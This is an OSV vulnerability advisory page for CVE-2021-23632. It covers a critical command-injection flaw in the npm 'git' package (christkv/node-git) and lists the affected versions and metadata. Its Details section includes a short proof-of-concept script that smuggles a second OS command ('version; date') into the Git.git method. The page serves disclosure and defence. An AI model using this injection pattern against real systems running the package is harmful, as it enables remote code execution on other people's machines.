CVE-2021-23632

Source
https://cve.org/CVERecord?id=CVE-2021-23632
Import Source
https://storage.googleapis.com/osv-test-cve-osv-conversion/osv-output/CVE-2021-23632.json
JSON Data
https://api.test.osv.dev/v1/vulns/CVE-2021-23632
Aliases
Related
  • SNYK-JS-GIT-1568518
Published
2022-03-17T12:15:07.680Z
Modified
2025-11-14T05:26:50.999205Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
[none]
Details

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var userinput = "version; date"; repo.git(userinput, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

References

Affected packages

Git / github.com/christkv/node-git

Affected ranges

Type
GIT
Repo
https://github.com/christkv/node-git
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Last affected

Affected versions

V0.*

V0.1
V0.1.4
V0.1.5

Database specific

source

"https://storage.googleapis.com/osv-test-cve-osv-conversion/osv-output/CVE-2021-23632.json"